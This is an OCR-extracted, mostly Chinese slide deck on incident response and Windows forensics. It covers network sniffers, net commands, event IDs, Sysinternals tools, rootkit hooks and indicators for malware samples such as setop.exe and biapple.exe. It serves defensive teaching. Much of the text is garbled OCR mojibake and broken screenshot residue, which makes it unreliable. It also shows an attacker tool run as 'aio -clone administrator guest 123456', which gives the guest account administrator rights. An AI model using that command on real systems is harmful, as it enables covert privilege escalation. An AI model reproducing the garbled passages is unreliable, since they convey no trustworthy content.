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b CISSP (Certified Information Systems Security Professional )
¥ CEH (Certified Ethical Hacker) /CEI (Instructor)

» CHFI(Computer Hacking Forensic Investigation)
¥ Cert/CC Advanced Incident Handling :#(



® TEBFTLERE
® i\ﬁ&%fﬁﬁéﬁ“ AT

‘\‘I\:‘r‘r‘r‘r‘r‘r
4 o
>‘_’ \
M
Eﬁ?
k-

® ® @
=
/E N
I

=

‘-,3\3

-y

il

o,

3>



4‘1'

2

-
B
/\




B ¥ IR Gow IR

® 5 riiap
OB LIF e TR
PRI RARABAETHFR
b ’”‘f'}if“f”’ﬁ‘ﬁ"ﬂ#
PoA SR R om0 F 4R BRI

® ¢t R F
P%%F*m%Lﬁﬁ B 3 1%
PRGN B A D ¢ B

® =" w3F

7}



BX ex M4 17 »
7 ERR IR s F
¢ ﬂi:‘éi’{§
P BIF bg("“&" FF»$ ‘AP,L’B&)
bR HP (TR PIRE - ADL )
¥ DoSsDDoS

P4

b4 AR (T IR S e TR B R LR



/J\ A )]

@7 £

=

T

B

= //mc.

Kz )

A\ .

me N

LR
NP
Ll\/‘\s tlJ

VS VS
~

R/

i
OCE&Ca A4



Oiaivtﬂéﬁﬁﬁ&’ﬁﬁii%
ol H O PE R
"* ALFEy Loy
/ﬁ /’%’i FL o F] o FM/;"‘ B gEIT, ¥ E;h&:i

® T ARLZRR J‘»’E\‘?,”“‘Ja‘?ti'*?\,.&ﬁ;\

AP (Hldch D)
b RFEREREG P E RS

P T_ A ALE T PR

bR E PERBE PR PR AT EH L
b A

bk AR



e

RGP (R R)

/.






BB AR
RO PR R A AR B &
AR IR Ly

AT T KRR R A



B Iy

JRIEEEE IR £ SRS Ll
FaE R Se A AT T35 T AR Re(TR )R
® CSIRTE ™ § § 3 & frid@ i & ¥
H81iFs 320
b B E IR (Collect)
b %o~ 17 #E 35 (Identify and Analyze)
b %37y (Preserve)



Document

The

SCE e

_,-F*_'_F_ ____ﬁ-\_
— )
-~
'ollect
“WalatilesVs
"'\-,_\__\-\-L _ﬁ--’_’_

I

Fosmrer O ffe

SAhat Alas

The Paointv«

o —_— T
L~
i Image
‘ |
" Diriwes?o
k"\-..,_
~
Yes+ T

- e s+
™, Eecord
Ii P rolatilese Ny
™.
LR
e .
- - T—_
__F_,.-’ T -
..;"- ] .,
T i Being "1|
f___—————’__'l‘-. Zafe 7+ E
I N
W T
H‘\"'-\-\_ .-"r
h_'"'w-u._\_ - lw.T Cralt
... -~
N Inwvestizate
. e
™, ™ online, run
} “last™, etc.+
Jll.l
‘_I"
EBacle (@ lab, Analyze
_______ﬁ"“—-h__ _opies, Eeconstruct
B B . h o
Computers, Analvze

Tartifact=s"+




|dentification:

|dentify the system
to be investigated

Data Acquistion/Preservation:

Taking images of the drives /partition
Reporting of evidences belonged to the identified system
found during analysis

phase

Presentation:

Forensic Analysis: Data Recovery:

Analyze digital artifacts Recaver deleted data

inside the data for from the image files.
evidences 3
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¢ RlER(F EHR AT E

® WireShark(tcpdump

® SNORT(IDS
® KISMET (& %

)

Eile Edit View Go Capture Analyze Statistics Help
§E Ba4pr0zy EBE QEQEQF @M
M L2 Expression... | vgearl < Apply |

Nao. - |TJme |Saurce |De5tinatian |’rat0co| | Info

[¥]

504 152.15820! 192.168.12.21 66.187.224.210 DNS Standard query A www.redhat.com

| 505 152.24044 66.187.224.210 182, DNS Standard guery response A 208.132.177.50

250911 192, 209. 48BO0 > http [SYN] Segq=0 Len=0 M55-1460 TS
[SYN, Seg=0 Ac Win=

I 508 152.31132 102, 209.
| 509 152.31154° 192, 52 0 209.
510 152.38737) 209.132.177.50 192,
511 152.405161 209.132.177.50 192.
512 152.40520! 192.168.12.21 200.

HTTP GET / HITP/1.1
TCP http > 48890 [ACK] Seg=1 Ack=498 Win=6864 Len=0 '
TR [TCP segment of a reassembled PDU]

200132277500 TCP. 4RRO0 > hitn TACK] Sea=408 Ack=4105 Win=14048 e
> Frame 507 (74 bytes on wire, 74 bytes captured)
I Ethernet II, Src: Amit 04:ae:54 (00:50:1B8:04:ae:54), Dst: Intel e3:01:f5 (00:0c;:fl;e3:01:£5)
P Internet Protocol, Sre: 208.132.177.50 (209.132.177.50), Dst: 192.168.12.21 (192.168.12.21)
~ Transmission Control Protocel, Sre Port: http (80), Dst Port: 48890 (48800), Seq: 0, Ack: 1, Len: 0
Source port: http (80)
Destination port: 48890 (48890)
Sequence number: O (relative sequence number)
Acknowledgement number: 1 (relative ack number)
Header length: 40 bytes
I Flags: Ox12 (SYN, ACK)
Window size: 5792
Checksum: 0x99db [correct]
I Options: (20 bytes)
I [SEQ/ACK analysis]

TCP 48890 > http [ACK] Seg=1 Ack=1 Win=5840 Len=0 TS|

\

| TCP 48800 > http [ACK] Seg=498 Ack=1369 Win=8576 Len
| 513 152.41351; 209.132.177.50 192, TCP [TCP segment of a reassembled PDU]

| 514 152.41356; 192.168.12.21 200. TCP 48890 > http [ACK] Seq=498 Ack=2737 Win=11312 Le
| 515 152.45058: 192.168.12.21 200. TCP 48891 > http [SYN] Seg=0 Len=0 MS5S5=1460 TSV=1535
I 516 152.47685; 209.132.177.50 192. TCP [TCP segment of a reassembled PDU]

[ B 92.168.12.21

I

0000 00 Oc fl e3 01 £5 00 50 18 04 ae 54 08 00 45 00
}unm 00 3c 00 00 40 00 35 06 £6 47 dl 84 bl 32 cD a8
0020 0c 15 {EMES be fa b5 36 ce 18 e0 bb b5 58 a0 12
\uuaﬂ 16 a0 99 db 00 00 02 04 05 64 04 02 08 Oa 10 1d
0040 ee de 5b B1 15 20 01 03 03 02

Source Port {tcp.srcport), Z P: 1006 D: 1006 M: 0 Drops: 0

S
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® it & 4 17(Sniffer)
¥ NetWitness
¥ NIKSUN NetDetector
¥ Sandstorm Netlntercept
R AT
4 ntop
¥ MRTG/PRTG -~ Cacti
r IDS/IPS
» Flow based monitor
¥ Database Auditing



Sniffer~ 37 p &

® HTTP Attack

® SSL Attack

® F TP from Intranet

® SMTP from Intranet

® SQL Query

® Non-nhttp traffic on 80/443 port



® ipconfig
® & 5ad HUR A
¥ netstat -nba
» Tcpview / TCPLogView
¥ Currports
¥ fport
@ e fr > ERE
¥ net share <> net session €< openfiles
¥ net use



i fikiﬂ L netyls

@® net localgroup

® net group( & 3= 34 2k)
® net share

@® net start

® net session

® net use

® net view

@® net user
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® Computer Forensics: Investigating
Network Intrusions and Cyber Crime

Press

Computer Forensics ‘

Computer |
Investigating Networ
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setop.exe

® %
» C:\WINNT\svchost.exe
® 555 B

r HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\System

L IS
b A BlE 1 140.136.71.81:52(140.136.25.2:52)
P WhoisF it @ # iz~ &



appmgmt.exe

@ RRET
» DNS % :3 stockfound.com
P i@ 1216.57.210.200:80
b whoisF 3t £ B(R 4 3@ 4t 4)



biapple.exe

® %
¥ C:\WINNT\svchost.exe
¥ CA\WINNT\system32\msextapi.dll
¥ C\WINNT\system32\msrascfqg.ini
® 175 i
r HKLM\SOF TWARE\Microsoft\Windows\Curr
entVersion\Run\GameServer
» Browser Help Objects
@ PR FD
» DNS % :4 rabbi.bi-apple.net
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®cmd
¥ dir /a/s/b
¥ regedit/regedt32.exe
¥ reg/regdmp.exe
b sc.exe query bufsize= 10000
» netsh diag show all /v (old)
¥ netsh dump
¥ route print
b gpresult
b set



i fikiﬂ L netyls

@® net localgroup

® net group( & 3= 34 2k)
® net share

@® net start

® net session

® net use

® net view

@® net user



net user
PsGetSid
user2sid
sid2user
alo

Cca
HideAdmin



b é_ADI%f;:’f » hostnameS$S P £_% 3 # e 7 7h
ST OPEEE % O EERLE 1> 5 NETWORK
SERVICE

P BEF I I AWR Y E LA 2 €3
Windows:t z v € 7 & *E 5

b & * netuser § 7 3|

b B ATHR 5L 22 R 51 (administrator, guest)
SID#p I



alo.exe

® aio -clone administrator guest 123456

C:~ERSS5ample>aio —clone administrator guest 123456
All In One<AIO>» U1.H Build H6-18-2086 By WinEggDropCuwww.phdntBm.org?

Getting The UserMame("administrator')—>ID{(BxAAAAA1F4> Successfully
Getting The UserMame{"guest'>—>ID{@xAAAAA1IFS> Successfully

Set F Ualue Successfully

The Account guest Has Been Cloned To administrator

The User<guezt?» Password Haz Been Changed

C:~ERSSample>*aio —checkclone
A1l In One<AIO>» U1i.6 Build 86182086 By WinEggDropCwww.phdntBm.org>

[Administrator1<==2>[Gues=st ]

C:~ERSSample:

® * guest/ 123456% » » = % administrator
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®itri %
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® aio —checkclone
® cca \\1 #% administator & 75

C:~ERS5ample*cca ~~127_A.A.1 adminiztrator helloworld

Check Clone Account, by netleyes 2002/84.-29
Hritten by netdeves 2002, dansnowl2icn.com

Connect 127.8.8.1 ....0K
Prepairing ....0K

Processing ....0K

Checking ....

Check Result:

[Guest] AS SAME AS [Administratorl

Clean Up ....0K

C:~ERSSample

® GuestDelete Guest# ",f < EF




SUIATEEE B S — RS

" - ‘B ’E ’—z ke %’;u
tclone‘u th %ﬁ,
®# ",f 2R 5.SAME 59FV(7 £ # net delete)

C:~ERSSample*aio —checkclone
All In One<AIO> U1.A Build #6-.18-2006 By WinEggDropCwww . phdnt@m.org

Mo Clone Is Found h

C:~ERSSample >
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® Reged32.exez & '
\HKEY_ LOCAL_ MACHINE\SAM\SAM

o BHREEEA _(ol x|

BED REED WRE FHEEL HED

BN BT ED ]
@[3 HKEY_CLASSES_ROOT [ab) %) REG 52 B

-] HKEY_CURRENT_USER
£1-Z] HKEY_LOCAL_MACHINE
- &[] HARDWARE

B0 sAM
. .3 sEcUR] &M
@7 soFTw AR G

- @] 5vSTEr BRE.
- HKEY_USE

: i D)
-3 HEEY_CUF
v B EHaaR)

EEHE
{EREERE)...

gl £ ()

1] |

| Ad

FEAVEISHKEY LOCAL MACHINESAMSAM




oA PEEL A 3502 2 ()

® Regedit
\HKEY_ LOCAL MACHINE\SAM\SAM\Domai

ns\Account\Users
—JF% 2 o0k iz Fadministrators— &

o BERREEN =10l x]
HEE FEE WH0 BREW SREH
ERCE S || = | 458 |
(] HKEY_CLASSES_ROOT (FESRIE) REG 52 (BHEERETE
{1 HEEY_CURRENT_USER REG_EINARY 020001 00000000000000000
=0 HKEY_LOCAL_MACHINE ki REG_BINARY 00000000 b0 000000020001 0
-] HLRDWARE
-1 S4M
=0 S&M
E|{:| Domnadig
EI{:I Acconnt

-] Aliases

{:l Grroups

(2] Users

{11 000003EE
{:I Hames b
-] Builtin
(L] R¥ACT
el =l | 2
FEEISHKEY_LOCAL MACHINEN AMSAM\Domainsid coountlUsers000001 F5 [} v




® 7 S5 N5 E € B administrators¥:
B 875 g B e Y
\HKEY_ LOCAL MACHINE\SAM\SAM
\HKEY_ LOCAL_ MACHINE\SAM\SAM\Domai
ns\Account\Users

® == ?gf”) QPI*EK{!EE’% ﬁuﬁmu.—-j}}gb
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® v 73 7552 VM

® iz g ’F‘{;I% Ak
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» useradd.bat
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Event Log

® Evt(Windows XP/2003) ~ Evix(Windows
712008

¥ Application
P Security
P System

O RE L F AR ELP
@i}k 2 RP



EventLog % & % & P &

® 1 FpE R e (Security Event ID 520) 42 :E1
X

®: 8 C9, DS, ES..cnn% & (Security Event
ID 5140)

@7 H (AP B EP L SRE AN 4
pz(System Event ID 7045)

® % ~ 23 RDP4 pr(System Event ID
10006)

Oip TP EAH =



b

7

xamplesof 5140

A network share object was accessed.
Subject:

Security ID: ACME-FR\Administrator
Bccount Name: Administrator
Account Domain: ACME-FR

Logon ID: 0x74a738

Hetwork Information:

Source bddress: 10.42.42.221
Source Port: &5087

L1

Share Name: WW*\Dharma Initiative Protocaols

®Event ID 5140
[di#r4 # B C$, DS, ES..on

ER Bt I

/

258 %

‘:U\‘?‘



@5 IFBE ~ ko kiR ¥ RREL
¥ Application event ID : 4001
ErAEE R FEET NS I EA
O AR E
¥ Application event ID :9003
DWM(Desktop Window Manager)kzd % pz » % 3 &

¥ Application event ID :9009
DWM% &

p System event ID:7001

'31‘; ’:"’:é_‘:;‘_,%;vizé-té' sl |Jq ~ )3 {E‘? A .g‘\i

» Fe O
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® 1 30 EVM
@® %= ~ Event Log
L ARG NER s S



RBF A

b HijackThis-% 1 % 4% & & £ » 0P %K 2
b autoruns — & € SEF S F ol g

>

¥ msconfig — % B 3K T
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/ A

g KA | HEEE W ThRE

cnginfo.exe | 52KB | MD5 : B ATM EREH B BEEA
C0105ADA8686DC537 | -RHEEA, » i o] LLAIE, A= B #9 88
A64919C73A18DB7 BEFE - SR M SV E AR TIEE o
SHAL :
04DAA15196BEE6936
90F530D32D4ACESFB
14F03F

cngdisp.exe | 58KB | MDS5 : e ATM H-$0FE = ¢
658B0502B53F718BD | #5 A 228k :
0611A638DFD5969 (1);B420+- 95 7 R (slot)
SHAL : (2)i+ 7R %
D8879121597693AA5 | BTTHREN A H $H T HE ERTT AS RAT
AEDA9FSCF3247D6ES | $%7F displog.txt b » SZFEA JESHI4 EER
BC4426 IHRE -

cleanup.bat | 1KB E—{ batch #& - FHLIER Lt 2 5

SR

sdelete.exe | 148KB | MDS5 : MHERfE= - BARTEMEBRER -
md5,C74673589D5DD
38B6443DA6054B8DD
7A
SHAL :
AB48396A0A91AF3A6
D2DD3C71AE635F8D6
94E420
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@ i pira
¥ Sysinternals (Microsoft)
— Process Explorer

— Process Monitor
— Pstools Suite

¥ NirSoft Tools
» lceSword
» Wsyscheck

» HookExplorer ~ Archon AntiAPIHook ~ Ring3
APIHookScanner

b tasklist /M -~ listdlls — & 4Rdll ¢ ~ i
¥ WhatsHappening — % 734 7 ° {742



Process Explorer

® el g 7R

82 Process Explorer - Sysinternals: www.sysinternals.com [XP-VM1]

CEX

File ©Options Miew Process Find  Users Help
Ha =B &% AS _!-
Process FID  CPU  Description Company Mame
= | Spstem Idle Process 0 9692
" 1lintermupts n'a Hardware [nterrupts
“1DPCs n'a Defered Procedure Callz
= ] System 4
= [T smss.exe 360 Windows MT Session Mana.... Microzoft Corporation
[ corss.eme B8 Client Server Runtime Process  Microsoft Corporation
= ﬂl winlogon. exe 652 Windows MT Logon Applica... Microsoft Corporation
= E TEMVICES. EXE B36 Servicez and Controller app Microzoft Corparation
[ svchost exe BEs Generic Host Process fior "-.-'-.-"I... Microgoft Corporation
I cvchostexe : Generic Host Proc b ft Carporation
= [ svchost exe 1052 Generic Host Process for Wi, Microsoft Corporation
E wachtiyexe | 1216 YWindows Security Center M., Microzoft Corpaoration
‘u. wuaucl exe 452 Automatic Updates Microzoft Corporation
[ svchost exe 1148 Generic Host Process for Wi, Microsoft Corporation
[ svchost exe 1260 Generic Host Process for Wi, Microsoft Corporation
E spoolzy.exe 1432 Spooler SubSystern App Microzoft Corporation
‘v"M wareServic... | 1976 Whiware Tools Service Whdware, Inc.
E alg.exe 332 Application Layer Gateway ... kMicrozoft Corparation
E lzazz. exe o8 LSA Shell [Export Yersion] Microzoft Corporation
= _,) explorer. exe 1632 1.54 ‘“Windows Explarer ticrozoft Corporation
"»-"M wareT ray. exe 132 WhdwareT ray Whdware, [nc.
vt warellzer. ene 224 Whdwarell ser Widware, Inc.
ctfmon. exe 292 CTF Loader ticrozoft Corporation
Y procesp.exe 488 1.54 Swuzinternals Proceszs Explorer  Syzintemalz

o WinSnepese |«

CPU Usage: 3,08%

Commit Charge: 13.27%

Processes: 24




Process Monitor

‘.
\J

24

N —

N

=/ Process Monitor Sysinternals: www.sysinternals.com

File Edit Ewvent Filter Tools Options

L H

—

Help

>~
¥ Filemon — #& 4L 4% %
¥ RegMon — # %

E

—

7 N

T
B

Hz  RBE | SA® | #8 | (&6 g

Seq... Time of Day = Process Mame FID Operation Path Result Detail e
10 5:02:15.3350438 PM ["lsvchost exe 1052 Thread Create SUCCESS Thread ID: 888
11 5:02:15.4066134 PM P2P Negworkin... 364 RegQuenyValue HKC LN Software Microsoft'Windows'C... NAME NOT FOUND Length: 144
12 5:02:15.4133104 PM P2P Métforkn... 364 QuenyStandardinfo... C:\Documents and Settings®Administrat... SUCCESS AllocationSize: 49,...
13 5:02:15.4148544 PM sgP2F NetwP2P Networking hAdministrat... SUCCESS AlocationSize: 43....
14 5:02:15.4193393 PM SRP2P NetwlJottid Ltd. |2P Networki... NAME NOT FOUND Desired Access:
15 5:02:15.4243126 PM “trickler_biCAWINDOW S system32\P2P Networking\P2P Metworking.exe [Trickler SUCCESS Desired Access: R
16 5:02:15.4245520 PM irickler_bic_dop... 344 RegQueryValue HKLM\SOFTWARE Gator.com\Trickler... NAME NOT FOUND Length: 144
17 5:02:15.4257499 PM :Itnckler_bic_dop... 344 RegCloseKey HKLM\SOFTWARE \Gator.com\Trickler SUCCESS
18 5:02:15.4260650 PM :Itm:kler_hic_dnp 344 RegOpenKey HKLM\software \Gator Test\ Trickler NAME NOT FOUND Desired Access: R
19 5:02:15.4261991 PM lirickler bic_dop... 344 RegOpenKey HKLM\software\GatorTest\ Trickler NAME NOT FOUND Desired Access: R...
41 5:02:15.4645730 PM I8 YourScreen exe 612 CreateFile C\Documents and Settings*Administrat... SUCCESS Desired Access: R...
42 5:02:15.4653368 PM 3 YourScreen exe 612 QueryDirectory C\Documents and Settings*Administrat... NO SUCH FILE Filter: YourScreen fig
43 5:02:15.4659366 PM 18 YourScreen axe 612 CloseFile Ch\Documents and Settings*Administrat... SUCCESS
B4 5:02:15.4939550 PM & YourScreen exe 612 CreateFile C\Documents and Settings"Administrat... SUCCESS Desired Access: R
65 5:02:15.4342159 PM 3 YourScreen exs 612 QueryDirectory C\Documents and Settings*Administrat... NO SUCH FILE Filter: YourScreen....
66 5:02:15.4944729 PM J& YourScreen axe B12 CloseFile C\Documents and Settings*Administrat... SUCCESS
68 5:02:15.5740844 PM P2P Networlin 364 RegQuery\falue HKC L' Software' Microsoft' Windows'(C... NAME NOT FOUND Length: 144
€9 5:02:15.5754326 FM P2P Networkin... 364 QuenyStandardinfo... C:\Documents and Settings*Administrat... SUCCESS AMlocationSize: 49,...
70 5:02:15.5762070 PM P2P Metworkin... 364 QuenyStandardinfo... C:\Documents and Settings®Administrat... SUCCESS AllocationSize: 49,...
71 5:02:15.5780134 PM SP2P Networkin... 364 Createfile CHWINDOWS'system324P 2P Networki...NAME NOT FOUND Desired Access: R...
74 5:02:15.5943387 PM 1§ YourScreen exe 612 CreateFile C\Documents and SettingsAdministrat... SUCCESS Desired Access: R...
75 5:02:15 5945973 PM & YourScreen exe 612 QueryDirectory C\Documents and Settings®Administrat... NO SUCH FILE Filter: YourScreenE
78 5:02:15.6166164 PM % Bxplorer EXE 2004 QueryOpen C\Documents and Settings"Administrat... SUCCESS CreationTime: 4/4/...
79 5:02:15.6189854 PM i Explorer EXE 2004 Createfile CA\Documents and Settings'Administrat... SUCCESS Desired Access: E...
81 5:02:15.6203682 PM _‘J Explorer EXE 2004 QueryStandardinfo .. C\Documents and Settings*Administrat... SUCCESS AllocationSize: 2.2
85 5:02:15.6218343 PM ¢ Bxplorer EXE 2004 CloseFile C\Documents and Settings*Administrat... SUCCESS
87 5:02:15.6267908 PM ~Jisass.exe 484 RegOpenkey HKLM\SECURITYPolicy SUCCESS Desired Access: R...
88 5:02:15.6269582 PM ~Jsass.exe 484 RegOpenKey HKLM\SECURITYPolicy’.SecDesc SUCCESS Desired Access: R...
89 5:02:15.6271141 PM ["lsass.exe 484 RegQueryValue HKLM\SECURITYPolicy’\SecDesc™(D... BUFFER OVERFL... Length: 12
90 5:02:15.6272814 PM ~Jisass exe 484 RegCloseKey HKLM'\SECURITY"Policy\SecDesc SUCCESS
91 5:02:15.6273792 PM " Jisass.exs 484 RegOpenKey HKLM\SECURITYPolicy\SecDesc SUCCESS Desired Access: R...
92 R.07-18 £275372 Pl = 424 Bean(lieniizly L1 MV SECTIRITY Bolicy\ SacDeech (N SIICCESS Tupe: BEG MONE b

Showing 1,504 of 4,265 events (42%)




Sysinternals

®
» PSTools Suite
» Autoruns
¥ ProcessExplorer

» Process Monitor (FileMon+RegMon)
» TCPView



Pstools 1 & =

PsExec — i& #8347 425\
PsFile — & 77 @,tjg;rg B g &
PsGetSid — &7+ 1 ## 2 i * ¥ 7SID
PsKill — #5 “f f2 2\ (7 4R

PsInfo — # 4R & SL 7 3t

PsList — & 4R 42.5¢ 7 42

PsLoggedOn — &L A % 22 i 28 &
PslLoglList — " EF & i 5 40 B 2o dr
PsPasswd — i :xtk 88 % 75
PsService — & AL ¥ 372 41| PR 7%
PsShutdown — i B 1 4%
PsSuspend — % i {7 4%



® - L4750 g LS APIzE a1 :’F : Hook
A

® & 2 A e\Hook User32.dll :
HKLM\SOF TWARE\Microsoft\Windows
N \CurrentVerS|on\W|ndows\Appln|t Dlls

Mtoskaml.e
s5DT
TDretour e s
MiDeleteR ey be| push sdds LG bnanabe s
] V| o
MiDeleteValueEey WA Almanahe sys H
; | WeDeleteKey

U Onimal Pah

.............................




SSDT

® System Services Descriptor Table
» Ring0% » &3 & ez gt
P 3R Windows el (T o B A2 SR A R
FE o BELARSEF* HEDE o
® SSDT Hook

P & * ntoskrnl.exeF, Tk 1T 0 K =
o IR i e f e o BRI v
ntoskrnl.exe

® INLINE SSDT HOOK

BRI I BE LT SRR SN, |
21 Fw

® Rootkitiz] : NtDeleteFile Hook — 7 #&

- .-\‘/T

=



FSD

® 55 % i BusRds 42 58 (File System Driver)
b | @ File System Filter Driver : 13 ~ 4cf2 % -

N

7]:%% ‘7’%“ E% :—‘97 E :JPT; Application Application
® FSD Inline Hook t i User mode
l l Kernel mode

F Eg ?7 7}%‘,} %"‘ Bi: i" ﬁijﬁ 0% |0 manager
A2 7\ e !

File system driver

storage device drivers 4—*.' ‘

Logical
volume
(partition)




Wsyscheck

=10l x|

gsEm IHOD
v EERE TR RFIRTS F | 224 | HREE | BHBEHE | Do BEEE |

REWTHEREBW [EFROC_ [ PPid | BRfEEE{E | EtEiE | fEERE -

FEEEFAEFEEVI TR T SystemBootSystem3iemss exe A60K | Mictoso:

Pl e SEaT SR D) 209 BASSC.. 1144 ACAWINDO W Savstem 3 e arss exe 10728K | Microso:

/ MHIFE 8 T i 45 () 240 BASAC 1144 YA AT DO W Ehsvstern 2w dnlo gon exe 2544E | Microso;
ﬁDEwwices.exe 1234 S4ABSD... 1240 CATINDOW S estem 2 nedoes e 3940E  Micwoso

O sass e 1296 BA5AF... 1240 CAWTINDO W Shsvsten 2\ sz e 280K Micwoso:
O sechost exe 1500 BASTED.. | 1284 CARTN DO W S svstem 32w chost exe 4640E  Micwoso:
O zvchost exe 1548 BA5G3.. 1284 CAWIN DO W S hestern 32w chost exe S164K | Microso—
O sechost exe 513 898477, | 1284 AT DO W S eystem 3 2hevchost exe 20332K | Micros:
O] svchostexe 580 goL450. | 1284 CARTH DO W S evstem 32 e chost exe 38TIE Micwoso
O spoolsy exe ans goA1C. . 1284 AN DO WS hsvstem 3D epoolsy exe 5513 | Micwoso:
O sched exe 2a0 204323 1284 CAPro gram Filed virath btV ir Deskopiached exe 404K Bira (h
O svchost exe Q56 go409.. 1284 CARTHN DO W S estem 32w chost exe 324K Micwoso
DE v gmand exe 1044 gon12d. | 1284 AP0 gram Files\bw trad itV ir Deslophay guacd exe 12288K | Avia (h
DE AppleMaobileDeviceder.. | 1056 A9408 ... 1284 AP o gram FilesCommon Fileshd ppletbdobile Device 348K Lpple I
Dlﬁqu.exe 1600 gO0E4Z2.. | 1384 AP0 gram FilesMavahirefibintigs exe 2304K Sun Mie
O svehostexe 543 goos18a0 | 1284 CATH DO W S evstem 32 e chost exe 4620E | Microso: -
i | o
EIERE s EE

| Wangfea 20080223




Wsyscheck

o sfyhitad

gEEEEED IR

EEFEE | GLNE | Bl EINE |aReE | BHEE | DetikEE |
—HARE | iEEER | IE SR | SEIEEIE | BRIES | ERMGREE |

=10l x|

—Host #7iR —EHEAER

ﬁ Copyright (2] 1993-1999 Micromft Corp. « || EHEaHE | Image File Exgeution Options

# Thiz iz a sample HOE TS file vzed bor Microsoft TCEIP for Windows.
#

# Thiz file contains the mappings of [P addresses to host names. Each
# entry should be kept o an individusl line. The IP address should

# be placed in the first colummn followed by the comespond ing: host name.

# The P address and the host name should be separated bor at least one _[:F
g SpAce.

# Additiomally, comments (such as these) may be tnzerted on individval
# linez or following the machine name denoted bora %' smbol.
#

ﬁ For example:
<] _'*l_I

—WinSock iR — 21 = R e

B2 [EEEE BH

| ZER

FrstemnBEoot®Sreternd mewsock Al Microsoft Corporation et
ErstemnE oot ®herstern s Drsvpsp.dll Microsoft Corporation ini
et mBE ootFSretem 2w tnmr 411 Microsoft Corporation
CMProgram Filles'Boourmdnsl 3P Al Apple Inc.

C NProgram Files\ W hMuware\W bware Wo... Vhware, Inc.

ultraedit bt
ultraed it fnd

i

| Wangfes 20080223

4




Wsyscheck

HESTEE TAMD
EIEFEE | GO | BREE RENY |aRedl | BeHEE | Do tEREE |

=10 x|

= [BxEE [EnmE [Erl | BEnE |
REmE  [foom*piften ks A [ MR
M ESR  CAWINDOWS, _4 [~ ER&IAE ) Nmn
M | e m | ne | RSWE - (00002 o

| Wangfea 20080223 o




Wsyscheck

Oz 4IEE F Az g R

" sfwhttad i =10/
HEsEE IR
ERFEE | BT | RSN RRNE |4wRedl | BH4EE | Do tteE |
—fpE | R ERT | | Bxies | EumkER |
(BEEE [EET [ExwEE [EHBER [AxRE
B pnetlisg exs IePlugings Fewindir®ietwork Disgnostic'spnetd... HEEY LOCAL MACHINEVROFTW..  Micromft
.:.ﬂ WEBSUP-1 DLL lePluging CAWINDOWSestern3ZAWEBSUP~-1 ... HEKEY CURRENT_ USERWoftwareh...
ﬂ WEESTUP-~1 DLL IePluging CAWINDO WS erstern 3AWEBSUP-1 .. HEEY_CURRENT_USERWoftwareh...
Ii&] WRPRINT? . Co23H IoPlogine CANNINDO WD o wnlosded Progoom ... HEEY_CUTRBREMT_TZERMWoftaocch... Vidooloft
,’:‘] YWRFLEXT OCK IePluging CAWINDOWEDownloaded Program ... HEEY _CURRENT_USER\Eoftwsreh... | VideoBoft —
ii:_] zy g dll IeFluging CAProgram Files\WroogleWioogleTonl...  HEEY _CURRENT _USERWSoftwarsd. . | Google Ine
&] shdocyw dll IePluging FiystemnBoot®system32shdocyw dl HEEY _LOCAL _MACHINEVGOFTW.. | Micromfto
,:;»] shdocyw dll IePluging FedvstemnBoot®system32shdocyw dl HEEY _LOCAL MACHINEVGOFTW..  Micromfto
,j] shdocywe dll IePluging FevstemnBoot@systemddshdocyw dl HEEY _LOCAL MACHINEVGOFTW.. | Microsfto
.’_:] shdocywe 41l IePluging FapaternB ootdssteddhshdocyw Al HEEY _LOCAL MACHINEVROFTW.. | Micromfte
&] shdocyy dll IePluging FdystemnBoot®system32shdocyw dl HEEY _LOCAL MACHINEVOFTW.. | Micromfto
,j}] shdocyw dll IePlugings FebystemnBoot®system 32shdocyw dl HEEY _LOCAL MACHINEVGOFTW.. | Micromfto
,i:] mmoc3260.41 IePluging CAWINDOWSevstern 3 2mnoc 3260011 HEEY _LOCAL _MACHINEWGOFTW.. | Realetwo
ii:_| mmoc3260.40 lePluging CAWINDO W S ersternd2mnoc3260.d11 HEEY _CURERENT_USEREoftwareh... | Heallletwo
é] EEFIEBAR DLL IePluging CAPROGREA-IMICEOS-INOFFICEL. . HEEY_LOCAL _MACHINEWOFTW. . | Microsft o
,:J»] TPz o= IePluging CAProgram FillesDuickTime Alternati.. HEEY _CURRENT_USERWoftwareh... | Lpple IE&.
,j] plugin.ocx IePluging A INDO W S erstern 3 2plugin ocx HEEY _LOCAL MACHINEVGOFTW,. .
,ﬂ npchrome_tab dll lePluging C\Program Files¥3oogleV"hoome Fra..  HEKEY _CURRENT _URERGoftwarel...  @COMPA
T e B e e i LI_I
| o | B ActveX BHUE | IR ActveX EHIE |

| Wangfea 20080223
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HookEXxplorer

. Hook Explorer (Detectz IAT and basic Detounrs style hooks for bonn d yna = |EI|5|
Proceszes Refresh Scanning.. [TTTTTT] [ ]
pid | pIOCETs | Lizer | | Baseddr | b amdsdr | Hook s | I amme -
4 System 1000000 1070000 winlogon, exe
1144 smsz.exe MT AUTHORI.. __| | 7C520000  7C9BTO.. nikdll dll
1208 carss.exe FC200000 | FCANF0.. kernel32.dl o
winlogon, exe FrDADDDD | FFEATO.. ADNAP32.dI
1284 szervicesz.exe MHT AUTHORI... FPEROOOO | FYEEZ0.. RPCRT4.dll
1296 lzaszs.exe MHT AUTHORI... FPFCO000 | F7FDA0.. Securd2. di
1600 zvchostexe HT AUTHORI... FPFEQDOD | FFFF2000 AUTHZ dIl
1548 swchost exe FFEEOOOD  FFC330.. rngvcrt.dil
A1z svohost exe HT AUTHORI .. FEREOOOO | 7ER73000 CRYPT32.dll LI
EBD SVChDSt.EHE LI FoMHDOOan - Fohrn RACACKIT Al
Functions [ Scan all exportz 2 " Standard % Use Ignaore List € Hide Hooks within same module © Shaw All entries
IAT Add... | W alue | I ame | 1zt Instruction | HookProc | Hookkod |
Meszage Log |griorelist Reload | E dit |
Scamning for hooks in:winlogon.exe - 76 dlls in this process _:J

***+* EREOR:

could not load pefile:
No imports for - CoAWWINDOWSY system3Zhntdll. dll

WEINCIATINDOWEY systen3z\winlogon. exe
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b setop.exe
¥ biapple.exe

O 4P D
SEVRUESE: ¥
I*Jf T RTHE PR A%
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setop.exe

® %
» C:\WINNT\svchost.exe
® 555 B

r HKLM\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run\System

L IS
b A BlE 1 140.136.71.81:52(140.136.25.2:52)
P WhoisF it @ # iz~ &



biapple.exe

® %
¥ C:\WINNT\svchost.exe
¥ CA\WINNT\system32\msextapi.dll
¥ C\WINNT\system32\msrascfqg.ini
® 175 i
r HKLM\SOF TWARE\Microsoft\Windows\Curr
entVersion\Run\GameServer
» Browser Help Objects
@ PR FD
» DNS % :4 rabbi.bi-apple.net




